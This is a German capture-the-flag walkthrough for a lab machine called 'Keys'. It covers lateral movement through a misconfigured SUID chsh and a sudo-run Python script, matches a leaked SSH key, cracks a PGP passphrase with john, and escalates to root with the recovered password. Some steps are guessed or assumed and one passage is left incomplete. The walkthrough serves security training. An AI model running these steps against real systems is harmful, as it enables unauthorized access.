# Annahme: Berechtigungen korrigiert (chmod 600 key) und erneut verbunden
┌──(root㉿cyber)-[~] └─# ssh -i key jack@key.hmv
Enter passphrase for key 'key': jack4rachel
Linux keys 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64
[...]
jack@keys:~$ 

Analyse: Als `jack` wird nach SUID-Binaries gesucht.

Bewertung: Die meisten SUID-Binaries sind Standard. Auffällig ist jedoch: `/usr/bin/chsh` hat SUID gesetzt und gehört dem Benutzer `root` und der Gruppe `jack`. Dies ist eine ungewöhnliche Konfiguration. `chsh` wird verwendet, um die Login-Shell eines Benutzers zu ändern.

Empfehlung (Pentester): Da `chsh` SUID-Root ist und der Gruppe `jack` gehört, könnte es möglich sein, dass `jack` über dieses Binary Aktionen ausführen kann, die normalerweise Root oder dem Benutzer, dessen Shell geändert wird, vorbehalten sind. Versuchen Sie, `chsh` auszuführen und sehen Sie, ob Sie die Shell eines anderen Benutzers (z.B. `rachel`) ändern oder eine Shell als ein anderer Benutzer erhalten können. Lesen Sie die Manpage (`man chsh`).
Empfehlung (Admin): Entfernen Sie das SUID-Bit von `chsh`, wenn es nicht unbedingt benötigt wird, oder korrigieren Sie die Gruppenzugehörigkeit. Standardmäßig sollte `chsh` nicht der Gruppe eines normalen Benutzers gehören.

jack@keys:~$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
   129884     60 -rwsr-xr-x   1 root     root        58416 Feb  7  2020 /usr/bin/chfn
   133533     72 -rwsr-xr-x   1 root     root        71912 Jul 28  2021 /usr/bin/su
   133374     44 -rwsr-xr-x   1 root     root        44632 Feb  7  2020 /usr/bin/newgrp
   129888     64 -rwsr-xr-x   1 root     root        63960 Feb  7  2020 /usr/bin/passwd
   129887     88 -rwsr-xr-x   1 root     root        88304 Feb  7  2020 /usr/bin/gpasswd
   133902     36 -rwsr-xr-x   1 root     root        35040 Jul 28  2021 /usr/bin/umount
   148720    180 -rwsr-xr-x   1 root     root       182600 Feb 27  2021 /usr/bin/sudo
   133900     56 -rwsr-xr-x   1 root     root        55528 Jul 28  2021 /usr/bin/mount
     5542     20 -rwsr-xr--   1 root     jack        16832 Oct 29  2021 /usr/bin/chsh
   134187     52 -rwsr-xr--   1 root     messagebus    51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   144966    472 -rwsr-xr-x   1 root     root         481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign
[...]

Analyse: Als `jack` wird die Datei `usAr.txt` gelesen. Anschließend wird `/usr/bin/chsh` ausgeführt.

Bewertung: `usAr.txt` enthält den Flag-Teil `*rYnYT`. Das Ausführen von `/usr/bin/chsh` führt dazu, dass der Prompt zu `rachel@keys:~$` wechselt. Die SUID/Gruppen-Fehlkonfiguration von `chsh` erlaubt es `jack` offenbar, eine Shell als Benutzer `rachel` zu erlangen (möglicherweise indem er `chsh -s /bin/bash rachel` implizit ausführt oder eine andere Schwachstelle in `chsh` nutzt).

Empfehlung (Pentester): Notieren Sie den Flag-Teil. Sie haben nun eine Shell als `rachel`. Führen Sie Enumeration als `rachel` durch (`sudo -l` etc.).
Empfehlung (Admin): Beheben Sie die SUID/Gruppen-Fehlkonfiguration von `chsh`.

jack@keys:~$ cat usAr.txt
*rYnYT
jack@keys:~$ /usr/bin/chsh
rachel@keys:~$

Analyse: Als `rachel` werden die `sudo`-Rechte überprüft.

Bewertung: `rachel` darf den Befehl `/usr/bin/python3 /opt/number_guessing_game.py` als Benutzer `steve` ohne Passwort (`NPASSWD`) ausführen. Dies ist der nächste Vektor für Lateral Movement.

Empfehlung (Pentester): Führen Sie das Python-Skript mit `sudo -u steve ...` aus. Untersuchen Sie, was das Skript tut und ob es Schwachstellen hat, die es erlauben, Befehle als `steve` auszuführen oder Informationen preiszugeben.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit dieser `sudo`-Regel. Das Ausführen von Spielen oder benutzerdefinierten Skripten mit `sudo`, selbst als anderer Benutzer, birgt Risiken.

rachel@keys:~$ sudo -l
Matching Defaults entries for rachel on keys:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User rachel may run the following commands on keys:
    (steve) NOPASSWD: /usr/bin/python3 /opt/number_guessing_game.py

Analyse: Das Python-Skript `/opt/number_guessing_game.py` wird als `steve` ausgeführt. Das Skript fordert zur Eingabe einer Zahl zwischen 1000-9999 auf oder der "4 digits Secret Number", um Steves `id_rsa.pub`-Schlüssel zu lesen. Die Zahl `4695` wird eingegeben.

Bewertung: Die Eingabe `4695` (die Zahl aus den Dateinamen der SSH-Schlüssel) führt dazu, dass das Skript einen langen String ausgibt. Dieser String ist rückwärts geschrieben (`rev` wird später verwendet) und enthält den öffentlichen SSH-Schlüssel von `root@targetcluster`. Es enthüllt auch den Benutzernamen `steve` (aus dem `sudo -u steve`-Aufruf) und den Hostnamen `targetcluster`. Der öffentliche Schlüssel selbst ist der entscheidende Fund.

Empfehlung (Pentester):

  1. Kopieren Sie den ausgegebenen String.
  2. Verwenden Sie `echo "..." | rev`, um den String umzudrehen und den korrekten öffentlichen SSH-Schlüssel zu erhalten.
  3. Suchen Sie auf Ihrem lokalen System (in den mit `lftp` oder `unzip` erhaltenen Dateien) nach dem zu diesem öffentlichen Schlüssel passenden privaten Schlüssel. Verwenden Sie `grep` auf den öffentlichen Schlüssel in den `.pub`-Dateien. Der Dateiname des zugehörigen privaten Schlüssels sollte (bis auf die Endung) identisch sein (hier `a473e40621001f61dbf97b310b1caefb-4695`).
  4. Melden Sie sich mit dem gefundenen privaten Schlüssel als `steve` per SSH an.
Empfehlung (Admin): Entfernen oder sichern Sie das Python-Skript. Geben Sie niemals private oder öffentliche Schlüssel auf diese Weise preis. Überprüfen Sie die `sudo`-Regel.

rachel@keys:~$ sudo -u steve /usr/bin/python3 /opt/number_guessing_game.py
Welcome to the guessing game :)

Note:- You can guess Secret Number between 1000-9999
or You can Give me those 4 digits Secret Number to read Steve's id_rsa.pub Key

Enter Secret Number: 4695

retsulctegrat@toor w4fwKggIuKjTjqFNzhBIDHHb6xjmJRh/pqyMTfhp9GV+w2A9i/4SeuVa30gZZMuu3LPbayIVw+TU48RBN8uVVWDo2vBtuKVdFm+ZKXfDBGz0Ud3LYm0gFzWXAB3c3F0euwCM16x2iQZHmbgMvw9xPNNKgrxLw9Z/lY+wXu8LAg5Jx8PpE+wlUXkKsxBhSiEpu7eIdUyBTYGtYIQ8e6K/TvTJT4vpoyCs52hqvQbrXCxeb5KKFRmr7ZdvmbY14dJ85IZjM4ZU3gZK97b3DyGQiGPXX/juncMigmDxZ9iz/YxaooEX3gMF9hHaIA0raILUPnL0a+5fNsGPIyAEQAAAwIBAAAAE2cy1CazN3BAAAA asr-hss
# Verarbeitung auf Angreifer-System
rachel@keys:~$ echo "retsulctegrat@toor w4fwKggIuKjTjqFNzhBIDHHb6xjmJRh/pqyMTfhp9GV+w2A9i/4SeuVa30gZZMuu3LPbayIVw+TU48RBN8uVVWDo2vBtuKVdFm+ZKXfDBGz0Ud3LYm0gFzWXAB3c3F0euwCM16x2iQZHmbgMvw9xPNNKgrxLw9Z/lY+wXu8LAg5Jx8PpE+wlUXkKsxBhSiEpu7eIdUyBTYGtYIQ8e6K/TvTJT4vpoyCs52hqvQbrXCxeb5KKFRmr7ZdvmbY14dJ85IZjM4ZU3gZK97b3DyGQiGPXX/juncMigmDxZ9iz/YxaooEX3gMF9hHaIA0raILUPnL0a+5fNsGPIyAEQAAAwIBAAAAE2cy1CazN3BAAAA asr-hss" | rev
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyIPGsNf5+a0LnPULIar0AIaHh9FMg3XEooaxY/zi9ZxDmgiMcnuj/XXPGiQGyD3b79KZg3UZ4MjZI58Jd41YbmvdZ7rmRFKK5bexCXrbQvqh25sCyopv4TJTvT/K6e8QIYtGYTByUdIe7upEiShBxsKkXUlw+EpP8xJ5gAL8uXw+Yl/Z9wLxrgKNNPx9wvMgbmHZQi2x61MCwue0F3c3BAXWzFg0mYL3dU0zGBDfXKZ+mFdVKutBv2oDWVVu8NBR84UT+wVIyabPL3uuMZZg03aVueS4/i9A2w+VG9phfTMyqp/hRJmjx6bHHDIBhzNFqjTjKuIggKwf4w root@targetcluster

Analyse: Auf dem Angreifer-System wird im Verzeichnis mit den heruntergeladenen/entpackten Schlüsseln (`id_rsa/2048/pub`) nach dem zuvor rekonstruierten öffentlichen Schlüssel gegrept. Der zugehörige private Schlüssel (`a473...-4695`) wird in ein Arbeitsverzeichnis kopiert und die Berechtigungen werden auf `600` gesetzt.

Bewertung: Der `grep`-Befehl findet erfolgreich die `.pub`-Datei, die zum öffentlichen Schlüssel passt. Dies bestätigt, dass der entsprechende private Schlüssel (`a473e40621001f61dbf97b310b1caefb-4695`) aus der lokalen Sammlung des Angreifers der richtige Schlüssel für den Benutzer `steve` ist (da der öffentliche Schlüssel über das Skript als `steve` extrahiert wurde).

Empfehlung (Pentester): Verwenden Sie nun den privaten Schlüssel `a473e40621001f61dbf97b310b1caefb-4695`, um sich per SSH als Benutzer `steve` anzumelden (`ssh steve@key.hmv -i a473...-4695`).
Empfehlung (Admin): Private Schlüssel sicher aufbewahren, niemals auf unsichere Weise preisgeben.

# Auf Angreifer-System
┌──(root㉿cyber)-[~/id_rsa/2048/pub] └─# grep "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyIPGsNf5+a0LnPULIar0AIaHh9FMg3XEooaxY/zi9ZxDmgiMcnuj/XXPGiQGyD3b79KZg3UZ4MjZI58Jd41YbmvdZ7rmRFKK5bexCXrbQvqh25sCyopv4TJTvT/K6e8QIYtGYTByUdIe7upEiShBxsKkXUlw+EpP8xJ5gAL8uXw+Yl/Z9wLxrgKNNPx9wvMgbmHZQi2x61MCwue0F3c3BAXWzFg0mYL3dU0zGBDfXKZ+mFdVKutBv2oDWVVu8NBR84UT+wVIyabPL3uuMZZg03aVueS4/i9A2w+VG9phfTMyqp/hRJmjx6bHHDIBhzNFqjTjKuIggKwf4w root@targetcluster" *
a473e40621001f61dbf97b310b1caefb-4695.pub:ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyIPGsNf5+a0LnPULIar0AIaHh9FMg3XEooaxY/zi9ZxDmgiMcnuj/XXPGiQGyD3b79KZg3UZ4MjZI58Jd41YbmvdZ7rmRFKK5bexCXrbQvqh25sCyopv4TJTvT/K6e8QIYtGYTByUdIe7upEiShBxsKkXUlw+EpP8xJ5gAL8uXw+Yl/Z9wLxrgKNNPx9wvMgbmHZQi2x61MCwue0F3c3BAXWzFg0mYL3dU0zGBDfXKZ+mFdVKutBv2oDWVVu8NBR84UT+wVIyabPL3uuMZZg03aVueS4/i9A2w+VG9phfTMyqp/hRJmjx6bHHDIBhzNFqjTjKuIggKwf4w root@targetcluster
┌──(root㉿cyber)-[~/id_rsa/2048/private] └─# cd ..
┌──(root㉿cyber)-[~/id_rsa/2048] └─# cp private/a473e40621001f61dbf97b310b1caefb-4695 .
┌──(root㉿cyber)-[~/id_rsa/2048] └─# chmod 600 a473e40621001f61dbf97b310b1caefb-4695

Analyse: Es wird versucht, sich per SSH als Benutzer `steve` mit dem identifizierten privaten Schlüssel anzumelden.

Bewertung: Login erfolgreich! Der Angreifer hat nun eine Shell als Benutzer `steve`.

Empfehlung (Pentester): Führen Sie Enumeration als `steve` durch. Suchen Sie die User-Flag-Teile und den Weg zu Root.
Empfehlung (Admin): Private Schlüssel sicher aufbewahren.

┌──(root㉿cyber)-[~/id_rsa/2048] └─# ssh steve@key.hmv -i a473e40621001f61dbf97b310b1caefb-4695
Linux keys 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64
[...]
steve@keys:~$ 

Analyse: Als `steve` wird das Home-Verzeichnis untersucht. Es werden verschiedene User-Flag-Teile von verschiedenen Benutzern (`steve`, `useless`, `jack`, `rachel`) angezeigt und eine PGP-verschlüsselte Nachricht (`.important_message.asc`) sowie ein PGP-Private-Key (`/var/spool/mail/private_key.gpg`) gefunden.

Bewertung: Die User-Flag ist auf vier Benutzer verteilt:

Die PGP-Nachricht und der private Schlüssel deuten auf den nächsten Schritt hin: Entschlüsselung der Nachricht, um möglicherweise das Root-Passwort zu finden.

Empfehlung (Pentester):

  1. Notieren Sie alle vier Teile der User-Flag.
  2. Kopieren Sie die PGP-Nachricht (`.important_message.asc`) und den privaten Schlüssel (`private_key.gpg`) auf Ihr Angreifer-System.
  3. Verwenden Sie `gpg2john` und `john`, um die Passphrase des privaten PGP-Schlüssels zu knacken.
  4. Importieren Sie den privaten Schlüssel in Ihr GPG-Keyring.
  5. Entschlüsseln Sie die PGP-Nachricht mit dem importierten Schlüssel und der geknackten Passphrase.
Empfehlung (Admin): Speichern Sie private Schlüssel oder verschlüsselte Nachrichten mit sensiblen Informationen nicht an unsicheren oder ungewöhnlichen Orten wie `/var/spool/mail`. Verwenden Sie starke Passphrasen für PGP-Schlüssel.

steve@keys:~$ ls
u__s__e__r.txt
steve@keys:~$ cat u__s__e__r.txt
*VDll6
steve@keys:~$ ls -la
total 32
drwx------ 3 steve steve 4096 Oct 28  2021 .
drwxr-xr-x 6 root  root  4096 Oct 28  2021 ..
lrwxrwxrwx 1 root  root     9 Oct 28  2021 .bash_history -> /dev/null
-rw-r--r-- 1 steve steve  220 Oct 27  2021 .bash_logout
-rw-r--r-- 1 steve steve 3526 Oct 27  2021 .bashrc
----r----- 1 root  steve  547 Oct 28  2021 .important_message.asc
-rw-r--r-- 1 steve steve  807 Oct 27  2021 .profile
drwx------ 2 steve steve 4096 Oct 28  2021 .ssh
-r-------- 1 steve steve   21 Oct 28  2021 u__s__e__r.txt
steve@keys:~$ cat .important_message.asc
-----BEGIN PGP MESSAGE-----
Version: BCPG C# v1.6.1.0

hQEMA6B1gxpXS1ctAQf+PTWuk5+Mi6VGX3GTNBe0S9Yci4pAvng+RZLW/Q2m
A3ckvwiPlAWZiu7J2/TXjhRautusiXhYRb/8oX+JsXJ/2VZu8YEJGgWuySewxYm5
r8L0IPlKaJLLsf6Vl4EtwTgXo7Zms8xNB8PyUwmEkkLvyFGFC/wNIf7sJZ31U/Z
5iRooTYPAfwLXsc/0sQ7VeeQT++t6547QwTiw9fpKFblwzjypJfIioNWCnoLpfA5
6xnBkkYPpr0w1zItzSBw5FHQKM0mYuf1WdAyfJ6zUytcqeSTZMN0qYkkmJfKN580
aD84m0juc4bJJVF+5pDuduc1j5Va73Lxx46P9TNVhMlBTCDy7uPAtvrqnqLeYHH
1zhi/qeFoS59ASvjWsfyur+wRAv6uIMuywIxD7usKIsRko6JkNN//ngcbBCudzX
RA4=
=voUx
-----END PGP MESSAGE-----
steve@keys:~$ cd /var/spool/mail
steve@keys:/var/spool/mail$ ls -la
total 12
drwxrwsr-x  2 root mail  4096 Oct 28  2021 .
drwxr-xr-x 12 root root  4096 Oct 27  2021 ..
----r-----  1 root steve 1793 Oct 28  2021 private_key.gpg
steve@keys:/var/spool/mail$ cat private_key.gpg
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: BCPG C# v1.6.1.0

lQsBGF6hgBCACasV92gCKq4oK/LBX1n7xF6aR9Lf642MCjVE9vnP8q2YilmKpd
[...]
=l+1
-----END PGP PRIVATE KEY BLOCK-----

Analyse: Der PGP Private Key (`private_key.gpg`, kopiert als `hacki`) wird mit `gpg2john` verarbeitet, um einen Hash für `john` zu erstellen (`ka`). `john` wird dann mit `rockyou.txt` verwendet, um die Passphrase des PGP-Schlüssels zu knacken.

Bewertung: Passphrase geknackt! `john` findet die Passphrase `youdidit` für den PGP-Schlüssel, der zu `root@keys.com` gehört.

Empfehlung (Pentester): Importieren Sie den PGP-Schlüssel (`hacki`) in Ihr GPG-Keyring (`gpg --import hacki`). Entschlüsseln Sie dann die Nachricht (`msg`, enthält `.important_message.asc`) mit der gefundenen Passphrase (`gpg --passphrase youdidit -d msg`).
Empfehlung (Admin): Verwenden Sie starke Passphrasen für PGP-Schlüssel. Speichern Sie private Schlüssel sicher.

# Auf Angreifer-System
┌──(root㉿cyber)-[~] └─# vi hacki
(PGP Private Key hier einfügen)
┌──(root㉿cyber)-[~] └─# gpg2john hacki > ka
File hacki
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt ka
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
[...]
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
youdidit         (root@keys.com)
1g 0:00:00:01 DONE (2022-10-13 11:45) 0.5555g/s 29.88p/s 29.88c/s 29.88C/s you..youk
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Analyse: Der private PGP-Schlüssel (`hacki`) wird importiert. Die verschlüsselte Nachricht (`msg`, enthält `.important_message.asc`) wird mit der geknackten Passphrase `youdidit` entschlüsselt.

Bewertung: Die Entschlüsselung ist erfolgreich! Die Nachricht enthält das Root-Passwort im Klartext: `th3_h!dd3n_m3ss4g3`.

Empfehlung (Pentester): Verwenden Sie `su root` und das Passwort `th3_h!dd3n_m3ss4g3`, um Root-Zugriff zu erlangen.
Empfehlung (Admin): Verwenden Sie keine Klartext-Passwörter in PGP-Nachrichten. Ändern Sie das Root-Passwort. Speichern Sie private Schlüssel sicher.

# Auf Angreifer-System
┌──(root㉿cyber)-[~/id_rsa/2048/private] └─# mv ~/hacki .
┌──(root㉿cyber)-[~/id_rsa/2048/private] └─# gpg --batch --import hacki
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key A075831A574B572D: public key "root@keys.com" imported
gpg: key A075831A574B572D: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
┌──(root㉿cyber)-[~/id_rsa/2048] └─# vi msg
(PGP-Nachricht hier einfügen)
┌──(root㉿cyber)-[~/id_rsa/2048] └─# chmod 600 msg
┌──(root㉿cyber)-[~/id_rsa/2048] └─# gpg --ignore-mdc-error --passphrase youdidit -d msg
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 2048-bit RSA key, ID A075831A574B572D, created 2021-10-28
      "root@keys.com"
Root Password is th3_h!dd3n_m3ss4g3gpg: WARNING: message was not integrity protected

Proof of Concept (Root Exploit)

Analyse: Als Benutzer `steve` wird der Befehl `su root` ausgeführt und das zuvor entschlüsselte Passwort `th3_h!dd3n_m3ss4g3` eingegeben.

Bewertung: Root-Zugriff erfolgreich! Der Wechsel zum Root-Benutzer gelingt.

Empfehlung (Pentester): Ziel erreicht. Lesen Sie die Root-Flag und führen Sie Aufräumarbeiten durch.
Empfehlung (Admin): Ändern Sie das kompromittierte Root-Passwort. Überprüfen Sie das System auf unbefugte Änderungen.

# Auf Zielsystem (als steve)
steve@keys:/var/spool/mail$ su root
Password: th3_h!dd3n_m3ss4g3
root@keys:/var/spool/mail# id
uid=0(root) gid=0(root) groups=0(root)
root@keys:/var/spool/mail#

Analyse: Als Root wird die Root-Flag gelesen. Die User-Flag wird aus den zuvor gesammelten Teilen zusammengesetzt.

Bewertung: Die Root-Flag lautet `AeQgWYpsNcuL4BzXH2p1`. Die zusammengesetzte User-Flag lautet `4vJkfrYnYT7Q6PwVDll6`.

Empfehlung (Pentester): Beide Flags wurden erfolgreich erfasst.
Empfehlung (Admin): Sichern Sie das System gemäß den vorherigen Empfehlungen.

root@keys:/var/spool/mail# cat /root/root.txt
(Pfad angenommen)
AeQgWYpsNcuL4BzXH2p1

# Zusammensetzen der User-Flag:
# useless (youser.txt): 4vJkf*
# jack    (usAr.txt):   *rYnYT
# rachel  (u$eR.txt):   7Q6Pw* (Annahme, da im Log nicht explizit gecattet)
# steve   (u__s__e__r.txt): *VDll6
# Ergebnis: 4vJkfrYnYT7Q6PwVDll6

Flags

User Flag (Zusammengesetzt)
4vJkfrYnYT7Q6PwVDll6
cat /root/root.txt
AeQgWYpsNcuL4BzXH2p1